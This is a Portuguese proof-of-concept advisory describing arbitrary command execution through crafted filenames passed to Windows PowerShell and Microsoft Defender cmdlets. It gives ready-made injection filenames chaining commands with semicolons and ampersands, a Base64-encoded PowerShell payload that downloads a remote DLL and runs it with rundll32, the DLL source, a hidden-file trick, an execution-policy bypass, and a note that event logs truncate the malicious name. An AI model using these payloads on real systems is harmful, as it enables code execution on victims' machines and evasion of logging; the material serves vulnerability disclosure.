
POC de Execução de Código por Nome de Arquivo no Windows PowerShell Não Corrigido
Nome de Arquivo do Windows PowerShell e API Anti-Malware do Defender - POC de Execução de Código
Descoberta: John Page (aka hyp3rlinx) 2019 e revisitado em 2023
Atualizado em 24 de dezembro de 2023
Contornando o obstáculo das aspas simples no PowerShell para execução de código e, de bônus, falha no log de eventos do Windows PowerShell!
O ponto e vírgula e o amigo operador "&" unem forças para capacidades de execução de código arbitrário.
Execute algum malware indesejado:
C:\Users\gg\Downloads>powershell get-filehash 'Infected&Malware;.zip' -algorithm md5
OU
Verificação do Windows Defender Anti-Malware:
powershell Start-MpScan -Scanpath 'C:\Users\gg\Downloads\Infected&Malware;.zip'
Onde Malware.exe reside no mesmo diretório, pense em download drive-by.
Falha no log de eventos do Windows, ID de evento 403 do PS, não registra o nome de arquivo verdadeiro devido ao truncamento:
Trecho do log do PS:
HostApplication=powershell Start-MpScan -Scanpath 'C:\Users\gg\Downloads\Infected
EngineVersion=5.1.19041.3803
Chamar o comando ping? Por que não
C:>powershell get-filehash 'powerfail&ping 8.8.8.8&.txt' -algorithm md5
Efetuar logoff da vítima:
C:>powershell Start-MpScan -Scanpath 'virus&logoff&test.zip'
Atualizado: 7 de dezembro de 2023, adicionado o vetor de CL e da API do Windows Defender, veja abaixo:
Como ainda funciona, tirei a poeira e fiz pequenas melhorias:
Reportado pela primeira vez à Microsoft em 2019, mas permanece sem correção até o momento em que este texto foi escrito.
Execução remota de código através de um nome de arquivo especialmente elaborado.
A falha se deve ao ponto e vírgula ";" podemos decodificar um comando Base64 e executar diretamente do nome do arquivo PS1 ou apenas executar comandos.
Test;POweRsHeLL -e [BASE64 UTF-16LE PAYLOAD];.ps1
Execute comandos imediatamente
"Testing;saps (gc -) PoC;.ps1"
Vetores: clique duplo, arrastar e soltar no atalho do PS
Aproveita comandos PS abreviados alternativos, como "saps", "gc", para iniciar um processo, obter conteúdo, etc.
Crie um arquivo PS1 trojan que tentará baixar e executar uma DLL remota chamada "1.d"
Python:
from base64 import b64encode
b64encode("saps http[]//127.0.0.1/1.d;sleep -s 2;rundll32 $HOME\Downloads\1.d, 0".encode('UTF-16LE'))
cwBhAHAAcwAgACAAaAB0AHQAcAA6AC8ALwAxADIANwAuADAALgAwAC4AMQAvADEALgBkADsAcwBsAGUAZQBwACAALQBzACAAMgA7AHIAdQBuAGQAbABsADMAMgAgACQASABPAE0ARQBcAEQAbwB3AG4AbABvAGEAZABzAFwAMQAuAGQALAAgADAA
Código da DLL:
#include <windows.h>
//gcc -shared -o mydll.dll mydll.c -m32
//hyp3rlinx
void evilo(void){
MessageBox(0,"Filename Remote Code Execution PoC\r\nBy hyp3rlinx","M$ Windows PowerShell",1);
}
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved){
evilo();
return 0;
}
python -m http.server 80
Clique duas vezes no arquivo PS1 trojan.
Crie um arquivo PS1 com nome incluindo saps "start a process" e gc "get-content"; isso lerá comandos de um arquivo oculto.
"Test;saps (gc -) PoC;.ps1"
Crie um arquivo oculto: attrib +s +h "-"
Clique duas vezes ou arraste e solte.
a) Os arquivos PS1 do PowerShell devem estar configurados para abrir com o PowerShell como programa padrão
b) Set-ExecutionPolicy -Scope CurrentUser -ExecutionPolicy Bypass -Force
c) O usuário deve clicar duas vezes, executar pela linha de comando ou arrastar e soltar o script PS1 com nome malicioso
https://www.youtube.com/watch?v=-ZJnA70Cf4I
https://github.com/hyp3rlinx/PSTrojanFile/assets/12366009/029d41d2-af58-434d-8d0f-0bf8f01d1c55

Atualização: API PowerShell do Microsoft Defender Anti-Malware - Execução Arbitrária de Código.
O Microsoft Defender Anti-Malware e/ou as APIs do PS podem resultar na execução de código arbitrário. Por exemplo, verificar um diretório, atalho .lnk ou até mesmo um item inexistente pode executar código não intencional. Este vetor se baseia no meu advisory anterior e no subsequente projeto PSTrojanFile.
Requisitos:
Exemplos:
powershell Start-MpScan -Scanpath "C:\Users\gg\Downloads;saps Helper;.1.zip"
(Helper.exe reside na Área de Trabalho)
Crie o diretório ";saps Test", Test.exe, Test.cmd etc. no mesmo caminho da CL
powershell Add-MpPreference -ControlledFolderAccessAllowedApplications ";saps Test"
Crie um diretório com ponto e vírgula e coloque um arquivo PE chamado doom.exe no mesmo caminho.
powershell Set-ProcessMitigation -PolicyFilePath "test;saps doom"
Por último, mas não menos importante:
Ao obter um hash de arquivo no PowerShell, isso efetua o seu logoff :)
c:>powershell get-filehash -algorithm MD5 "Malware;saps logoff.exe"
https://www.youtube.com/watch?v=0Go6yJiRWP8
https://github.com/hyp3rlinx/PSTrojanFile/assets/12366009/b033b9f8-1ea0-4ea3-9fa3-56ea63db5b08